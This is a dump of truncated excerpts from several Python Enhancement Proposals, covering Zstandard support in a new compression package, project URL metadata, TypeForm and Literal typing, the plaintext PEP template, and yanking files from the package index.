The existing packages can continue providing extended APIs or integrate
features from newer Zstandard versions.

Another reason to add Zstandard support to the standard library is to resolve
a long standing open issue (`python/cpython#81276`_) requesting Zstandard
support in the :mod:`tarfile` module. This issue has the 5th most "thumbs up"
of open issues on the CPython tracker, and has garnered a significant amount of
discussion and interest. Additionally, the ZIP format standardizes a
`Zstandard compression format ID`_, and integration with the :mod:`zipfile`
module would allow opening ZIP archives using Zstandard compression. The
reference implementation for this PEP contains integration with the
:mod:`!zipfile`, :mod:`!tarfile`, and :mod:`shutil` modules.

Zstandard compression could also be used to make Python wheel packages smaller
and significantly faster to install. Anaconda found a sizeable speedup when
adopting Zstandard for the conda package format:

.. epigraph::

    Conda's download sizes are reduced ~30-40%, and extraction is dramatically faster.
    [...]
    We see approximately a 2.5x overall speedup, almost all thanks to the dramatically faster extraction speed of the zstd compression used in the new file format.

    -- `Anaconda blog on Zstandard adoption`_

Zstandard has a significantly higher compression ratio compared to wheel's
existing zlib-based compression, `according to lzbench`_, a comprehensive
benchmark of many different compression libraries and formats.
While this PEP does *not* prescribe any changes to the wheel format or other
packaging standards, having Zstandard bindings in the standard library would
enable a future PEP to improve the user experience for Python wheel packages.

.. _widespread adoption: https://facebook.github.io/zstd/#references
.. _ZFS: https://en.wikipedia.org/wiki/ZFS
.. _Btrfs: https://btrfs.readthedocs.io/
.. _brotli: https://brotli.org/
.. _lzo: https://www.oberhumer.com/opensource/lzo/
.. _ucl: https://www.oberhumer.com/opensource/ucl/
.. _LZ4: https://lz4.org/
.. _python/cpython#81276: https://github.com/python/cpython/issues/81276
.. _Zstandard compression format ID: https://pkwaredownloads.blob.core.windows.net/pkware-general/Documentation/APPNOTE-6.3.8.TXT
.. _according to lzbench: https://github.com/inikep/lzbench#benchmarks
.. _Anaconda blog on Zstandard adoption: https://www.anaconda.com/blog/how-we-made-conda-faster-4-7


Rationale
=========

Introduction of a ``compression`` package
-----------------------------------------

Both the ``zstd`` and ``zstandard`` import names are claimed by projects on
PyPI. To avoid breaking users of one of the existing bindings, this PEP
proposes introducing a new namespace for compression libraries,
``compression``. This name is already reserved on PyPI for use in the
standard library. The new Zstandard module will be named ``compression.zstd``.
Other compression modules will be re-exported in the new ``compression`` package.

Providing a common namespace for compression modules has several advantages.
First, it reduces user confusion about where to find compression modules.
Second, the top level ``compression`` module could provide information on which
compression formats are available, similar to ``hashlib``'s
``algorithms_available``. If :pep:`775` is accepted, a
``compression.algorithms_guaranteed`` could be provided as well, listing
``zlib``. Finally, a ``compression`` namespace prevents future issues with
merging other compression formats into the standard library. New compression
formats will likely be published to PyPI prior to integration into
CPython. Therefore, any new compression format import name will likely already
be claimed by the time a module would be considered for inclusion in CPython.
Putting compression modules under a package prefix prevents issues with
potential future name clashes.

Code that would like to remain compatible across Python versions may use the
following pattern to ensure compatibility::

  try:
      from compression.lzma import LZMAFile
  except ImportError:
      from lzma import LZMAFile

This will use the newer import name when available and fall back to the old
name otherwise.

Implementation based on ``pyzstd``
----------------------------------

The implementation for this PEP is based on the `pyzstd project`_.
This project was chosen as the code was `originally written to be upstreamed`_
to CPython by Ma Lin, who also wrote the `output buffer implementation`_ used in
the standard library today.
The project has since been taken over by Rogdham and is published to PyPI. The
APIs in ``pyzstd`` are similar to the APIs for other compression modules in the
standard library such as :mod:`!bz2` and :mod:`!lzma`.

.. _pyzstd project: https://github.com/Rogdham/pyzstd
.. _originally written to be upstreamed: https://github.com/python/cpython/issues/81276#issuecomment-1093824963
.. _output buffer implementation: https://github.com/python/cpython/commit/f9bedb630e8a0b7d94e1c7e609b20dfaa2b22231

Minimum supported Zstandard version
--------


id: pep-0753.rst
content:
PEP: 753
Title: Uniform project URLs in core metadata
Author: William Woodruff <william@yossarian.net>,
        Facundo Tuesca <facundo.tuesca@trailofbits.com>
Sponsor: Barry Warsaw <barry at python.org>
PEP-Delegate: Paul Moore <p.f.moore at gmail.com>
Discussions-To: https://discuss.python.org/t/pep-753-uniform-urls-in-core-metadata/62792
Status: Accepted
Type: Standards Track
Topic: Packaging
Created: 29-Aug-2024
Post-History: `26-Aug-2024 <https://discuss.python.org/t/core-metadata-should-home-page-and-download-url-be-deprecated/62037>`__,
              `03-Sep-2024 <https://discuss.python.org/t/pep-753-uniform-urls-in-core-metadata/62792>`__
Resolution: `10-Oct-2024 <https://discuss.python.org/t/62792/30>`__


.. canonical-pypa-spec:: :ref:`packaging:well-known-project-urls`

Abstract
========

This PEP recommends two discrete changes to the processing of core metadata by
indices (such as PyPI) and other core metadata consumers:

* Deprecation of the ``Home-page`` and ``Download-URL`` fields in favor of
  their ``Project-URL`` equivalents;
* A set of :ref:`conventions <conventions-for-labels>` for normalizing and
  assigning semantics to ``Project-URL`` labels during consumer-side metadata
  processing.

Rationale and Motivation
========================

Python's standard :ref:`core metadata <packaging:core-metadata>` has gone
through many years of revisions, with various standardized milestone versions.

These revisions of the core metadata have introduced various mechanisms
for expressing a package's relationship to external resources, via URLs:

1. Metadata 1.0 introduced ``Home-page``, a single-use field containing
   a URL to the distribution's home page.

   .. code-block:: email

        Home-page: https://example.com/sampleproject

2. Metadata 1.1 introduced ``Download-URL``, a complementary single-use field
   containing a URL suitable for downloading the current distribution.

   .. code-block:: email

        Download-URL: https://example.com/sampleproject/sampleproject-1.2.3.tar.gz

3. Metadata 1.2 introduced ``Project-URL``, a **multiple-use** field containing
   a label-and-URL pair. Each label is free text conveying the URL's semantics.

   .. code-block:: email

        Project-URL: Homepage, https://example.com/sampleproject
        Project-URL: Download, https://example.com/sampleproject/sampleproject-1.2.3.tar.gz
        Project-URL: Documentation, https://example.com/sampleproject/docs

Metadata 2.1, 2.2, and 2.3 leave the behavior of these fields as originally
specified.

Because ``Project-URL`` allows free text labels and is multiple-use, informal
conventions have arisen for representing the values of
``Home-page`` and ``Download-URL`` within ``Project-URL`` instead.

These conventions have seen significant adoption, with :pep:`621` explicitly
choosing to provide only a ``project.urls`` table rather than a
``project.home-page`` field. From :pep:`621`'s rejected ideas:

.. pull-quote::

    While the core metadata supports it, having a single field for a project's
    URL while also supporting a full table seemed redundant and confusing.

This PEP exists to formalize the informal conventions that have arisen, as well
as explicitly document ``Home-page`` and ``Download-URL`` as deprecated in
favor of equivalent ``Project-URL`` representations.

Specification
=============

This PEP proposes that ``Home-page`` and ``Download-URL`` be considered
**deprecated**. This deprecation has implications for both package metadata
producers (e.g. build backends and packaging tools) and package indices
(e.g. PyPI).

.. _metadata-producers:

Metadata producers
------------------

This PEP stipulates the following for metadata producers:

* When generating metadata 1.2 or later, producers **SHOULD** emit only
  ``Project-URL``, and **SHOULD NOT** emit ``Home-page`` or ``Download-URL``
  fields.

These stipulations do not change the optionality of URL fields in core metadata.
In other words, producers **MAY** choose to omit ``Project-URL`` entirely
at their discretion.

This PEP does **not** propose the outright removal of support for ``Home-page``
or ``Download-URL``. However, see :ref:`future-considerations` for
thoughts on how a new (as of yet unspecified) major core metadata version
could complete the deprecation cycle via removal of these deprecated fields.

Similarly, this PEP does **not** propose that metadata producers emit
:ref:`normalized labels <label-normalization>`. Label normalization is performed
solely on the processing and consumption side (i.e. within indices and other
consumers of distribution metadata).

.. _package-indices:

Package indices
---------------

This PEP stipulates the following for package indices:

* When interpreting a distribution's metadata of version 1.2 or later
  (e.g. for rendering on a web page), the index **MUST** prefer
  ``Project-URL`` fields as a source of URLs over ``Home-page`` and
  ``Download-URL``, even if the latter are explicitly provided.

* If a distribution's metadata contains only the ``Home-page`` and
  ``Download-URL`` fields, the index **MAY** choose to ignore those fields
  and behave as though no URLs were provided in the metadata. In this case,
  the index **SHOULD** present an appropriate warning or notification to
  the uploading party.

  * The mechanism for presenting this warning or notification is not
    specified, since it will vary by index. By way of example, an index may
    choose to present a warning in the HTTP response to an upload request, or
    send an email or other notification to the maintainer(s) of the project.

* If a distribution's metadata contains both sets of fields, the index **MAY**
  choose to reject the distribution outright. However, this is
  **NOT RECOMMENDED** until a future unspecified major metadata version
  formally removes support for ``Home-page`` and ``Download-URL``.

* Any changes to the interpretation of metadata of version 1.2 or later that
  result in previously recognized URLs no longer being recognized
  **SHOULD NOT** be retroactively applied to previously uploaded packages.

These stipulations do not change the optionality of URL processing by indices.
In other words, an index that does not process URLs within uploaded
distributions may continue to ignore all URL fields entirely.

Similarly, these stipulations do **not** imply that the index should
persist any normalizations that it performs to a distribution's metadata.
In other words, this PEP stipulates label normalization for the purpose
of user presentation, not for the purpose of modifying an uploaded distribution
or its "sidecar" :pep:`658` metadata file.

.. _conventions-for-labels:

Conventions for ``Project-URL`` labels
======================================

The deprecations proposed above require a formalization of the currently
informal relationship between ``Home-page``, ``Download-URL``, and their
``Project-URL`` equivalents.

This formalization has two parts:

1. A set of rules for normalizing ``Project-URL`` labels during index-side
   processing;
2. A set of "well-known" normalized label values that indices may specialize
   URL presentation for.

.. _label-normalization:

Label normalization
-------------------

The core metadata specification stipulates that ``Project-URL`` labels are
free text, limited to 32 characters.

This PEP proposes adding the concept of a "normalized" label to the core
metadata specification. Label normalization is defined via the following
Python function:

.. code-block:: python

    import string
    def normalize_label(label: str) -> str:
        chars_to_remove = string.punctuation + string.whitespace
        removal_map = str.maketrans("", "", chars_to_remove)
        return label.translate(removal_map).lower()

In plain language: a label is *normalized* by deleting all ASCII punctuation and
whitespace, and then converting the result to lowercase.

The following table shows examples of labels before (raw) and after
normalizat


id: pep-0747.rst
content:
PEP: 747
Title: Annotating Type Forms
Author: David Foster <david at dafoster.net>, Eric Traut <erictr at microsoft.com>
Sponsor: Jelle Zijlstra <jelle.zijlstra at gmail.com>
Discussions-To: https://discuss.python.org/t/pep-747-typeexpr-type-hint-for-a-type-expression/55984
Status: Draft
Type: Standards Track
Topic: Typing
Created: 27-May-2024
Python-Version: 3.15
Post-History: `19-Apr-2024 <https://discuss.python.org/t/typeform-spelling-for-a-type-annotation-object-at-runtime/51435>`__, `04-May-2024 <https://discuss.python.org/t/typeform-spelling-for-a-type-annotation-object-at-runtime/51435/7/>`__, `17-Jun-2024 <https://discuss.python.org/t/pep-747-typeexpr-type-hint-for-a-type-expression/55984>`__


Abstract
========

:ref:`Type expressions <typing:type-expression>` provide a standardized way
to specify types in the Python type system. When a type expression is
evaluated at runtime, the resulting *type form object* encodes the information
supplied in the type expression. This enables a variety of use cases including
runtime type checking, introspection, and metaprogramming.

Such use cases have proliferated, but there is currently no way to accurately
annotate functions that accept type form objects. Developers are forced to use
an overly-wide type like ``object``, which makes some use cases impossible and
generally reduces type safety. This PEP addresses this limitation by
introducing a new special form ``typing.TypeForm``.

This PEP makes no changes to the Python grammar. Correct usage of ``TypeForm`` is
intended to be enforced only by type checkers, not by the Python runtime.


Motivation
==========

A function that operates on type form objects must understand how type
expression details are encoded in these objects. For example, ``int | str``,
``"int | str"``, ``list[int]``, and ``MyTypeAlias`` are all valid type
expressions, and they evaluate to instances of ``types.UnionType``,
``builtins.str``, ``types.GenericAlias``, and ``typing.TypeAliasType``,
respectively.

There is currently no way to indicate to a type checker that a function accepts
type form objects and knows how to work with them. ``TypeForm`` addresses this
limitation. For example, here is a function that checks whether a value is
assignable to a specified type and returns None if it is not::

   def trycast[T](typx: TypeForm[T], value: object) -> T | None: ...

The use of ``TypeForm`` and the type variable ``T`` describes a relationship
between the type form passed to parameter ``typx`` and the function's
return type.

``TypeForm`` can also be used with :ref:`typing:typeis` to define custom type
narrowing behaviors::

  def isassignable[T](value: object, typx: TypeForm[T]) -> TypeIs[T]: ...

  request_json: object = ...
  if isassignable(request_json, MyTypedDict):
      assert_type(request_json, MyTypedDict)  # Type of variable is narrowed

The ``isassignable`` function implements something like an enhanced
``isinstance`` check. This is useful for validating whether a value decoded
from JSON conforms to a particular structure of nested ``TypedDict``\ s,
lists, unions, ``Literal``\ s, or any other type form that can be described
with a type expression. This kind of check was alluded to in
:pep:`PEP 589 <589#using-typeddict-types>` but could not be implemented without
``TypeForm``.


Why not ``type[C]``?
--------------------

One might think that ``type[C]`` would suffice for these use cases. However,
only class objects (instances of the ``builtins.type`` class) are assignable
to ``type[C]``. Many type form objects do not meet this requirement::

   def trycast[T](typx: type[T], value: object) -> T | None: ...

   trycast(str, 'hi')  # OK
   trycast(Literal['hi'], 'hi')  # Type violation
   trycast(str | None, 'hi')  # Type violation
   trycast(MyProtocolClass, obj)  # Type violation


TypeForm use cases
------------------

`A survey of Python libraries`_ reveals several categories of functions that
would benefit from ``TypeForm``:

.. _A survey of Python libraries: https://github.com/python/mypy/issues/9773#issuecomment-2017998886

-  Assignability checkers:

   -  Determines whether a value is assignable to a specified type

   -  Pattern 1: ``def is_assignable[T](value: object, typx: TypeForm[T]) -> TypeIs[T]``

   -  Pattern 2: ``def is_match[T](value: object, typx: TypeForm[T]) -> TypeGuard[T]``

   -  Examples: beartype.\ `is_bearable`_, trycast.\ `isassignable`_,
      typeguard.\ `check_type`_, xdsl.\ `isa`_

.. _is_bearable: https://github.com/beartype/beartype/issues/255
.. _isassignable: https://github.com/davidfstr/trycast?tab=readme-ov-file#isassignable-api
.. _check_type: https://typeguard.readthedocs.io/en/latest/api.html#typeguard.check_type
.. _isa: https://github.com/xdslproject/xdsl/blob/ac12c9ab0d64618475efb98d1d197bdd79f593c3/xdsl/utils/hints.py#L23

-  Converters:

   -  If a value is assignable to (or coercible to) a specified type,
      a *converter* returns the value narrowed to (or coerced to) that type.
      Otherwise, an exception is raised.

   -  Pattern 1:

      ::

        def convert[T](value: object, typx: TypeForm[T]) -> T

      -  Examples: cattrs.BaseConverter.\ `structure`_, trycast.\ `checkcast`_,
         typedload.\ `load`_

   -  Pattern 2:

      ::

        class Converter[T]:
            def __init__(self, typx: TypeForm[T]) -> None: ...
            def convert(self, value: object) -> T: ...

      -  Examples: pydantic.\ `TypeAdapter(T).validate_python`_,
         mashumaro.\ `JSONDecoder(T).decode`_

.. _structure: https://github.com/python-attrs/cattrs/blob/5f5c11627a7f67a23d6212bc7df9f96243c62dc5/src/cattrs/converters.py#L332-L334
.. _checkcast: https://github.com/davidfstr/trycast#checkcast-api
.. _load: https://ltworf.github.io/typedload/
.. _TypeAdapter(T).validate_python: https://stackoverflow.com/a/61021183/604063
.. _JSONDecoder(T).decode: https://github.com/Fatal1ty/mashumaro?tab=readme-ov-file#usage-example

-  Typed field definitions:

   -  Pattern:

      ::

        class Field[T]:
            value_type: TypeForm[T]

   -  Examples: attrs.\ `make_class`_,
      dataclasses.\ `make_dataclass`_ [#DataclassInitVar]_, `openapify`_

.. _make_class: https://www.attrs.org/en/stable/api.html#attrs.make_class
.. _make_dataclass: https://github.com/python/typeshed/issues/11653
.. _openapify: https://github.com/Fatal1ty/openapify/blob/c8d968c7c9c8fd7d4888bd2ddbe18ffd1469f3ca/openapify/core/models.py#L16

The survey also identified some introspection functions that accept runtime
type forms as input. Today, these functions are annotated with ``object``:

-  General introspection operations:

   -  Pattern: ``def get_annotation_info(typx: object) -> object``

   -  Examples: typing.{`get_origin`_, `get_args`_},
      `typing_inspect`_.{is_*_type, get_origin, get_parameters}

These functions accept values evaluated from arbitrary annotation expressions,
not just type expressions, so they cannot be altered to use ``TypeForm``.

.. _get_origin: https://docs.python.org/3/library/typing.html#typing.get_origin
.. _get_args: https://docs.python.org/3/library/typing.html#typing.get_args
.. _typing_inspect: https://github.com/ilevkivskyi/typing_inspect?tab=readme-ov-file#readme


Specification
=============

When a type expression is evaluated at runtime, the resulting value is a
*type form* object. This value encodes the information supplied in the type
expression, and it represents the type described by that type expression.

``TypeForm`` is a special form that, when used in a type expression, describes
a set of type form objects. It accepts a single type argument, which must be a
valid type expression. ``TypeForm[T]`` describes the set of all type form
objects that represent the type ``T`` or types that are
:term:`assignable to <typing:assignable>` ``T``. For example,
``TypeForm[str | None]`` describes the set of all type form objects
that represent a type assignable to ``str | None``::

  ok1: TypeForm[str | None] = str | None  #


id: pep-0009.rst
content:
PEP: 9
Title: Sample Plaintext PEP Template
Author: Barry Warsaw <barry@python.org>
Status: Withdrawn
Type: Process
Created: 14-Aug-2001
Post-History:
Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/2YMHVPRDWGQLA5A2FKXE2JMLM2HQEEGW/

.. withdrawn::

   As of 05-Jan-2016, this PEP is officially deprecated and replaced
   by :pep:`12`.  All PEPs should now use the reStructuredText format
   described by :pep:`12`, and plaintext PEPs will no longer be
   accepted.

::

  Abstract

      This PEP provides a boilerplate or sample template for creating
      your own plaintext PEPs.  In conjunction with the content
      guidelines in PEP 1 [1], this should make it easy for you to
      conform your own PEPs to the format outlined below.

      Note: if you are reading this PEP via the web, you should first
      grab the plaintext source of this PEP in order to complete the
      steps below.  DO NOT USE THE HTML FILE AS YOUR TEMPLATE!

      To get the source this (or any) PEP, look at the top of the HTML
      page and click on the date & time on the "Last-Modified" line.  It
      is a link to the source text in the Python repository.

      If you would prefer to use lightweight markup in your PEP, please
      see PEP 12, "Sample reStructuredText PEP Template" [2].


  Rationale

      PEP submissions come in a wide variety of forms, not all adhering
      to the format guidelines set forth below.  Use this template, in
      conjunction with the content guidelines in PEP 1, to ensure that
      your PEP submission won't get automatically rejected because of
      form.


  How to Use This Template

      To use this template you must first decide whether your PEP is
      going to be an Informational or Standards Track PEP.  Most PEPs
      are Standards Track because they propose a new feature for the
      Python language or standard library.  When in doubt, read PEP 1
      for details or contact the PEP editors <peps@python.org>.

      Once you've decided which type of PEP yours is going to be, follow
      the directions below.

      - Make a copy of this file (.txt file, not HTML!) and perform the
        following edits.

      - Replace the "PEP: 9" header with "PEP: XXX" since you don't yet
        have a PEP number assignment.

      - Change the Title header to the title of your PEP.

      - Leave the Version and Last-Modified headers alone; we'll take
        care of those when we check your PEP into Python's Subversion
        repository.  These headers consist of keywords ("Revision" and
        "Date" enclosed in "$"-signs) which are automatically expanded
        by the repository.  Please do not edit the expanded date or
        revision text.

      - Change the Author header to include your name, and optionally
        your email address.  Be sure to follow the format carefully:
        your name must appear first, and it must not be contained in
        parentheses.  Your email address may appear second (or it can be
        omitted) and if it appears, it must appear in angle brackets.
        It is okay to obfuscate your email address.

      - If there is a mailing list for discussion of your new feature,
        add a Discussions-To header right after the Author header.  You
        should not add a Discussions-To header if the mailing list to be
        used is either python-list@python.org or python-dev@python.org,
        or if discussions should be sent to you directly.  Most
        Informational PEPs don't have a Discussions-To header.

      - Change the Status header to "Draft".

      - For Standards Track PEPs, change the Type header to "Standards
        Track".

      - For Informational PEPs, change the Type header to
        "Informational".

      - For Standards Track PEPs, if your feature depends on the
        acceptance of some other currently in-development PEP, add a
        Requires header right after the Type header.  The value should
        be the PEP number of the PEP yours depends on.  Don't add this
        header if your dependent feature is described in a Final PEP.

      - Change the Created header to today's date.  Be sure to follow
        the format carefully: it must be in dd-mmm-yyyy format, where
        the mmm is the 3 English letter month abbreviation, e.g. one of
        Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec.

      - For Standards Track PEPs, after the Created header, add a
        Python-Version header and set the value to the next planned
        version of Python, i.e. the one your new feature will hopefully
        make its first appearance in.  Do not use an alpha or beta
        release designation here.  Thus, if the last version of Python
        was 2.2 alpha 1 and you're hoping to get your new feature into
        Python 2.2, set the header to:

        Python-Version: 2.2

      - Leave Post-History alone for now; you'll add dates to this
        header each time you post your PEP to python-list@python.org or
        python-dev@python.org.  E.g. if you posted your PEP to the lists
        on August 14, 2001 and September 3, 2001, the Post-History
        header would look like:

        Post-History: 14-Aug-2001, 03-Sept-2001

        You must manually add new dates and check them in.  If you don't
        have check-in privileges, send your changes to the PEP editor.

      - Add a Replaces header if your PEP obsoletes an earlier PEP.  The
        value of this header is the number of the PEP that your new PEP
        is replacing.  Only add this header if the older PEP is in
        "final" form, i.e. is either Accepted, Final, or Rejected.  You
        aren't replacing an older open PEP if you're submitting a
        competing idea.

      - Now write your Abstract, Rationale, and other content for your
        PEP, replacing all this gobbledygook with your own text. Be sure
        to adhere to the format guidelines below, specifically on the
        prohibition of tab characters and the indentation requirements.

      - Update your References and Copyright section.  Usually you'll
        place your PEP into the public domain, in which case just leave
        the "Copyright" section alone.  Alternatively, you can use the
        Open Publication License[3], but public domain is still strongly
        preferred.

      - Leave the little Emacs turd at the end of this file alone,
        including the formfeed character ("^L", or \f).

      - Send your PEP submission to the PEP editors (peps@python.org),
        along with $100k in unmarked pennies.  (Just kidding, I wanted
        to see if you were still awake. :)


  Plaintext PEP Formatting Requirements

      PEP headings must begin in column zero and the initial letter of
      each word must be capitalized as in book titles.  Acronyms should
      be in all capitals.  The body of each section must be indented 4
      spaces.  Code samples inside body sections should be indented a
      further 4 spaces, and other indentation can be used as required to
      make the text readable.  You must use two blank lines between the
      last line of a section's body and the next section heading.

      You must adhere to the Emacs convention of adding two spaces at
      the end of every sentence.  You should fill your paragraphs to
      column 70, but under no circumstances should your lines extend
      past column 79.  If your code samples spill over column 79, you
      should rewrite them.

      Tab characters must never appear in the document at all.  A PEP
      should include the standard Emacs stanza included by example at
      the bottom of this PEP.

      When referencing an external web page in the body of a PEP, you
      should include the title of the page in the text, with a
      footnote reference to the URL.  Do not include the URL in the body
      text of the PEP.  E.g.

          Refer to the Python Language web site [1] for more details.


id: pep-0592.rst
content:
PEP: 592
Title: Adding "Yank" Support to the Simple API
Author: Donald Stufft <donald@stufft.io>
BDFL-Delegate: Paul Moore <p.f.moore@gmail.com>
Discussions-To: https://discuss.python.org/t/1629
Status: Final
Type: Standards Track
Topic: Packaging
Created: 07-May-2019
Resolution: https://discuss.python.org/t/pep-592-support-for-yanked-files-in-the-simple-repository-api/1629/30


Abstract
========

This PEP proposes adding the ability to mark a particular file download
on a simple repository as "yanked". Yanking a file allows authors to
effectively delete a file, without breaking things for people who have
pinned to exactly a specific version.

It also changes to the canonical source for the simple repository API to
the `Simple Repository API`_ reference document.


Motivation
==========

Whenever a project detects that a particular release on PyPI might be
broken, they oftentimes will want to prevent further users from
inadvertently using that version. However, the obvious solution of
deleting the existing file from a repository will break users who have
followed best practices and pinned to a specific version of the project.

This leaves projects in a catch-22 situation where new projects may be
pulling down this known broken version, but if they do anything to
prevent that they'll break projects that are already using it.

By allowing the ability to "yank" a file, but still make it available
for users who are explicitly asking for it, this allows projects to
mitigate the worst of the breakage while still keeping things working
for projects who have otherwise worked around or didn't hit the
underlying issues.

One of the main scenarios where this may happen, is when dropping
support for a particular version of Python. The ``python-requires``
metadata allows for dropping support for a version of Python in
a way that is not disruptive to users who are still using that
Python. However, a common mistake is to either omit or forget to
update that bit of metadata. When that mistake has been made, a
project really only has three options:

- Prevent that version from being installed through some mechanism
  (currently, the only mechanism is by deleting the release entirely).
- Re-release the version that worked as a higher version number, and
  then re-release the version that dropped support as an even higher
  version number with the correct metadata.
- Do nothing, and document that people using that older Python have
  to manually exclude that release.

With this PEP, projects can choose the first option, but with a
mechanism that is less likely to break the world for people who
are *currently* successfully using said project.


Specification
=============

Links in the simple repository **MAY** have a ``data-yanked`` attribute
which may have no value, or may have an arbitrary string as a value. The
presence of a ``data-yanked`` attribute **SHOULD** be interpreted as
indicating that the file pointed to by this particular link has been
"Yanked", and should not generally be selected by an installer, except
under specific scenarios.

The value of the ``data-yanked`` attribute, if present, is an arbitrary
string that represents the reason for why the file has been yanked. Tools
that process the simple repository API **MAY** surface this string to
end users.

The yanked attribute is not immutable once set, and may be rescinded in
the future (and once rescinded, may be reset as well). Thus API users
**MUST** be able to cope with a yanked file being "unyanked" (and even
yanked again).


Installers
----------

The desirable experience for users is that once a file is yanked, when
a human being is currently trying to directly install a yanked file, that
it fails as if that file had been deleted. However, when a human did that
a while ago, and now a computer is just continuing to mechanically follow
the original order to install the now yanked file, then it acts as if it
had not been yanked.

An installer **MUST** ignore yanked releases, if the selection constraints
can be satisfied with a non-yanked version, and **MAY** refuse to use a
yanked release even if it means that the request cannot be satisfied at all.
An implementation **SHOULD** choose a policy that follows the spirit of the
intention above, and that prevents "new" dependencies on yanked
releases/files.

What this means is left up to the specific installer, to decide how to best
fit into the overall usage of their installer. However, there are two
suggested approaches to take:

1. Yanked files are always ignored, unless they are the only file that
   matches a version specifier that "pins" to an exact version using
   either ``==`` (without any modifiers that make it a range, such as
   ``.*``) or ``===``. Matching this version specifier should otherwise
   be done as per :pep:`440` for things like local versions, zero padding,
   etc.
2. Yanked files are always ignored, unless they are the only file that
   matches what a lock file (such as ``Pipfile.lock`` or ``poetry.lock``)
   specifies to be installed. In this case, a yanked file **SHOULD** not
   be used when creating or updating a lock file from some input file or
   command.

Regardless of the specific strategy that an installer chooses for deciding
when to install yanked files, an installer **SHOULD** emit a warning when
it does decide to install a yanked file. That warning **MAY** utilize the
value of the ``data-yanked`` attribute (if it has a value) to provide more
specific feedback to the user about why that file had been yanked.


Mirrors
-------

Mirrors can generally treat yanked files one of two ways:

1. They may choose to omit them from their simple repository API completely,
   providing a view over the repository that shows only "active", unyanked
   files.
2. They may choose to include yanked files, and additionally mirror the
   ``data-yanked`` attribute as well.

Mirrors **MUST NOT** mirror a yanked file without also mirroring the
``data-yanked`` attribute for it.


Rejected Ideas
==============

A previous, undocumented, version of the simple repository API had
version specific pages, like ``/simple/<project>/<version>/``. If
we were to add those back, the yanked files could only appear on
those pages and not on the version-less page at all. However this
would drastically reduce the cache-ability of the simple API and
would directly impact our ability to scale it out to handle all of
the incoming traffic.

A previous iteration of this PEP had the ``data-yanked`` attribute
act as a boolean value. However it was decided that allowing a
string both simplified the implementation, and provided additional
generalized functionality to allow projects to provide a mechanism
to indicate *why* they were yanking a release.

Another suggestion was to reserve some syntax in the arbitrary string
to allow us to evolve the standard in the future if we ever need to.
However, given we can add additional attributes in the future, this
idea has been rejected, favoring instead to use additional attributes
if the need ever arose.


Warehouse/PyPI Implementation Notes
===================================

While this PEP implements yanking at the file level, that is largely
due to the shape the simple repository API takes, not a specific
decision made by this PEP.

In Warehouse, the user experience will be implemented in terms of
yanking or unyanking an entire release, rather than as an operation on
individual files, which will then be exposed via the API as individual
files being yanked.

Other repository implementations may choose to expose this capability
in a different way, or not expose it at all.


Journal Handling
----------------

Whenever a release has been yanked, an entry will be recorded in the
journal using one of the following string patterns:

* ``yank release``
* ``unyank release``


In both cases, the standard journal structure will indicate which release
of which project has been yanked or unyanked.


.. _`Simple Repository API`:
   h


id: pep-0586.rst
content:
PEP: 586
Title: Literal Types
Author: Michael Lee <michael.lee.0x2a@gmail.com>, Ivan Levkivskyi <levkivskyi@gmail.com>, Jukka Lehtosalo <jukka.lehtosalo@iki.fi>
BDFL-Delegate: Guido van Rossum <guido@python.org>
Discussions-To: typing-sig@python.org
Status: Final
Type: Standards Track
Topic: Typing
Created: 14-Mar-2019
Python-Version: 3.8
Post-History: 14-Mar-2019
Resolution: https://mail.python.org/archives/list/typing-sig@python.org/message/FDO4KFYWYQEP3U2HVVBEBR3SXPHQSHYR/

.. canonical-typing-spec:: :ref:`typing:literal-types` and
                           :py:data:`typing.Literal`

Abstract
========

This PEP proposes adding *Literal types* to the :pep:`484` ecosystem.
Literal types indicate that some expression has literally a
specific value. For example, the following function will accept
only expressions that have literally the value "4"::

    from typing import Literal

    def accepts_only_four(x: Literal[4]) -> None:
        pass

    accepts_only_four(4)   # OK
    accepts_only_four(19)  # Rejected

Motivation and Rationale
========================

Python has many APIs that return different types depending on the
value of some argument provided. For example:

-  ``open(filename, mode)`` returns either ``IO[bytes]`` or ``IO[Text]``
   depending on whether the second argument is something like ``r`` or
   ``rb``.
-  ``subprocess.check_output(...)`` returns either bytes or text
   depending on whether the ``universal_newlines`` keyword argument is
   set to ``True`` or not.

This pattern is also fairly common in many popular 3rd party libraries.
For example, here are just two examples from pandas and numpy respectively:

-  ``pandas.concat(...)`` will return either ``Series`` or
   ``DataFrame`` depending on whether the ``axis`` argument is set to
   0 or 1.

-  ``numpy.unique`` will return either a single array or a tuple containing
   anywhere from two to four arrays depending on three boolean flag values.

The typing issue tracker contains some
`additional examples and discussion <typing-discussion_>`_.

There is currently no way of expressing the type signatures of these
functions: :pep:`484` does not include any mechanism for writing signatures
where the return type varies depending on the value passed in.
Note that this problem persists even if we redesign these APIs to
instead accept enums: ``MyEnum.FOO`` and ``MyEnum.BAR`` are both
considered to be of type ``MyEnum``.

Currently, type checkers work around this limitation by adding ad hoc
extensions for important builtins and standard library functions. For
example, mypy comes bundled with a plugin that attempts to infer more
precise types for ``open(...)``. While this approach works for standard
library functions, itâs unsustainable in general: itâs not reasonable to
expect 3rd party library authors to maintain plugins for N different
type checkers.

We propose adding *Literal types* to address these gaps.

Core Semantics
==============

This section outlines the baseline behavior of literal types.

Core behavior
-------------

Literal types indicate that a variable has a specific and
concrete value. For example, if we define some variable ``foo`` to have
type ``Literal[3]``, we are declaring that ``foo`` must be exactly equal
to ``3`` and no other value.

Given some value ``v`` that is a member of type ``T``, the type
``Literal[v]`` shall be treated as a subtype of ``T``. For example,
``Literal[3]`` is a subtype of ``int``.

All methods from the parent type will be directly inherited by the
literal type. So, if we have some variable ``foo`` of type ``Literal[3]``
itâs safe to do things like ``foo + 5`` since ``foo`` inherits intâs
``__add__`` method. The resulting type of ``foo + 5`` is ``int``.

This "inheriting" behavior is identical to how we
:pep:`handle NewTypes <484#newtype-helper-function>`.

Equivalence of two Literals
---------------------------

Two types ``Literal[v1]`` and ``Literal[v2]`` are equivalent when
both of the following conditions are true:

1. ``type(v1) == type(v2)``
2. ``v1 == v2``

For example, ``Literal[20]`` and ``Literal[0x14]`` are equivalent.
However, ``Literal[0]`` and ``Literal[False]`` is *not* equivalent
despite that ``0 == False`` evaluates to 'true' at runtime: ``0``
has type ``int`` and ``False`` has type ``bool``.

Shortening unions of literals
-----------------------------

Literals are parameterized with one or more values. When a Literal is
parameterized with more than one value, it's treated as exactly equivalent
to the union of those types. That is, ``Literal[v1, v2, v3]`` is equivalent
